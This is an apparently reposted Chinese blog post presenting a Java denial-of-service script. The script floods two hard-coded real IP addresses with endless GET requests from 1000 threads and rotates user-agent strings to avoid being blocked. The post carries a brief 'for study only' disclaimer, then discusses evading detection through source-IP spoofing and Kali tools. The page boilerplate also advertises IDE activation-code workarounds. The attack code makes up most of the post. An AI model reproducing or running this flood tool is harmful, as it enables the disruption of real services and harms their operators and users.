dos命令运行java代码_如何制作ddos攻击

dos命令运行java代码_如何制作ddos攻击dos攻击:拒绝服务攻击具体的原理不再多说我这里是java实现的推荐使用python做这种脚本,不要用java我写的仅供参考学习,请勿做坏事packagedos;importjava.net.httpurlconnection;importjava.net.url;importjava.net.urlconnection;importjava.util.arraylist;import…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

dos攻击:拒绝服务攻击

具体的原理不再多说

我这里是java实现的

推荐使用python做这种脚本,不要用java

我写的仅供参考学习,请勿做坏事

package dos;

import java.net.httpurlconnection;

import java.net.url;

import java.net.urlconnection;

import java.util.arraylist;

import java.util.random;

import java.util.concurrent.executorservice;

import java.util.concurrent.executors;

/**

* dos攻击

*

* @author q

*

*/

public class test {

/**

* 输入开启的线程数量

*/

private static final int max_thread = 1000;

/**

* 输入你想攻击的网址

*/

private static final string url1 = “http://202.206.208.35:7777/zhxt_bks/zhxt_bks.html”;

private static final string url2 = “http://202.206.208.84:7777/zhxt_bks/zhxt_bks.html”;

private static arraylist useragentslist;

public static void main(string[] args) {

useragentslist = new arraylist();

insertuseragent();

attack(url1);

attack(url2);

}

/**

* get请求攻击

*/

private static void attack(string url) {

executorservice ex = executors.newfixedthreadpool(max_thread);

for (int i = 0; i < max_thread; i++) {

ex.execute(new thread() {

@override

public void run() {

while (true) {

sendget(url);

}

}

});

}

}

private static void sendget(string url) {

try {

url url = new url(url);

urlconnection connection = url.openconnection();

httpurlconnection httpurlconnection = (httpurlconnection) connection;

httpurlconnection.setrequestmethod(“get”);

httpurlconnection.setrequestproperty(“connection”, “keep-alive”);

httpurlconnection.setrequestproperty(“cache-control”, “max-age=0”);

httpurlconnection.setrequestproperty(“upgrade-insecure-requests”, “1”);

httpurlconnection.setrequestproperty(“accept-charset”, “zh-cn,zh;q=0.9”);

httpurlconnection.setrequestproperty(“content-type”, “application/text”);

httpurlconnection.setrequestproperty(“user-agent”, selectuseragent());

httpurlconnection.connect();

int code = httpurlconnection.getresponsecode();

if (httpurlconnection.getresponsecode() >= 300) {

throw new exception(“request is not success, response code is ” + code);

} else {

system.out.println(“request is success, response code is ” + code);

}

} catch (exception e) {

}

}

private static string selectuseragent() {

random random = new random();

int i = random.nextint(useragentslist.size());

return useragentslist.get(i);

}

private static void insertuseragent() {

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/39.0.2171.95”);

useragentslist.add(“mozilla/5.0 (windows nt 5.1; u; en; rv:1.8.1) gecko/20061208 firefox/2.0.0 opera 9.50”);

useragentslist.add(

“mozilla/5.0 (x11; u; linux x86_64; zh-cn; rv:1.9.2.10) gecko/20100922 ubuntu/10.10 (maverick) firefox/3.6.10”);

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/534.57.2 (khtml, like gecko) version/5.1.7”);

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/39.0.2171.71”);

useragentslist.add(“mozilla/5.0 (windows; u; windows nt 6.1; en-us) applewebkit/534.16 (khtml, like gecko)”);

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/30.0.1599.101”);

useragentslist

.add(“mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.1 (khtml, like gecko) chrome/21.0.1180.71”);

useragentslist

.add(“mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1; qqdownload 732; .net4.0c; .net4.0e)”);

useragentslist.add(

“mozilla/5.0 (linux; u; android 2.2.1; zh-cn; htc_wildfire_a3333 build/frg83d) applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1”);

useragentslist.add(

“opera/9.80 (android 2.3.4; linux; opera mobi/build-1107180945; u; en-gb) presto/2.8.149 version/11.10”);

useragentslist.add(

“mozilla/5.0 (hp-tablet; linux; hpwos/3.0.0; u; en-us) applewebkit/534.6 (khtml, like gecko) wosbrowser/233.70 safari/534.6 touchpad/1.0”);

useragentslist

.add(“mozilla/5.0 (compatible; msie 9.0; windows phone os 7.5; trident/5.0; iemobile/9.0; htc; titan)”);

useragentslist.add(

“mozilla/5.0 (ipad; u; cpu os 4_2_1 like mac os x; zh-cn) applewebkit/533.17.9 (khtml, like gecko) version/5.0.2 mobile/8c148 safari/6533.18.5”);

useragentslist.add(“applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1”);

}

}

注意事项:

我虽然用user-agent列表来混淆对方,这样从一定程度上可以防止被封

但是这不是伪造源ip的方式

只要对方下定决心来查你,怎么样你都会被查到

不过,我想到另一种思路,从数据包的层次修改源ip地址,这样的结果是收不到回包,不过可以做到攻击效果

以后有空试一试,或者直接用kali里面的工具

d0eba07ba88abd85eb538c494c8cd4d6.png

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/188692.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 【三万粉丝终极福利】Python、C、Java三大语言学习路线和资源整理

    大家好,我是辣条。今天给大家带来三万粉丝三大语言学习路线和资源整理,收藏就对了。目录C语言学习路线学习书籍学习视频资源推荐Java语言学习路线学习书籍学习视频资源推荐Python语言学习路线学习书籍学习视频资源推荐C语言学习路线学习书籍学习视频资源推荐Java语言学习路线学习书籍学习视频资源推荐Python语言学习路线学习书籍学习视频资源推荐

    2022年4月6日
    49
  • 低代码开发平台技术架构_一个项目的整体架构是什么

    低代码开发平台技术架构_一个项目的整体架构是什么介绍JAVA低代码快速开发平台的整体架构设计

    2022年8月23日
    6
  • Java的注解

    Java的注解一、注解的概念:注解并不是一开始就有的,JDK5之前是没有注解的,JDK5及其以后JDK版本才开始支持Java注解!Java注解(Annotation)也叫做元数据,以@注解名在代码中存在,它是一种在源代码中标注的特殊标记,可以标注源代码中的类、属性、方法、参数等代码,主要用于创建文档,跟踪代码中的依赖性,甚至执行基本编译时检查。1.1Java注解按照含有参数的个数分为三种:不带参数,语法结构为:@Annotation,例如@FunctionalInterface;带一个参数的注解,语

    2022年7月9日
    20
  • Android触摸屏事件派发机制详解与源码分析二(ViewGroup篇)「建议收藏」

    Android触摸屏事件派发机制详解与源码分析二(ViewGroup篇)「建议收藏」PS一句:最终还是选择CSDN来整理发表这几年的知识点,该文章平行迁移到CSDN。因为CSDN也支持MarkDown语法了,牛逼啊!【工匠若水http://blog.csdn.net/yanbober】该篇承接上一篇《Android触摸屏事件派发机制详解与源码分析一(View篇)》,阅读本篇之前建议先阅读。当然,阅读完这一篇之后可以阅读继续进阶的下一篇《Android触摸屏事件派发机制详解与源码分

    2022年9月10日
    3
  • 一文看懂25个神经网络模型

    一文看懂25个神经网络模型1.引言在深度学习十分火热的今天,不时会涌现出各种新型的人工神经网络,想要实时了解这些新型神经网络的架构还真是不容易。光是知道各式各样的神经网络模型缩写(如:DCIGN、BiLSTM、DCGAN……还有哪些?),就已经让人招架不住了。因此,这里整理出一份清单来梳理所有这些架构。其中大部分是人工神经网络,也有一些完全不同的怪物。尽管所有这些架构都各不相同、功能独特,当我在画它们的节点图时……其中潜在

    2022年4月30日
    56
  • stat 函数_stat函数返回值

    stat 函数_stat函数返回值stat函数讲解(转) 表头文件:   #include         #include定义函数:    intstat(constchar*file_name,structstat*buf);函数说明:    通过文件名filename获取文件信息,并保存在buf所指的结构体stat中返回值:    执行

    2022年8月21日
    12

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号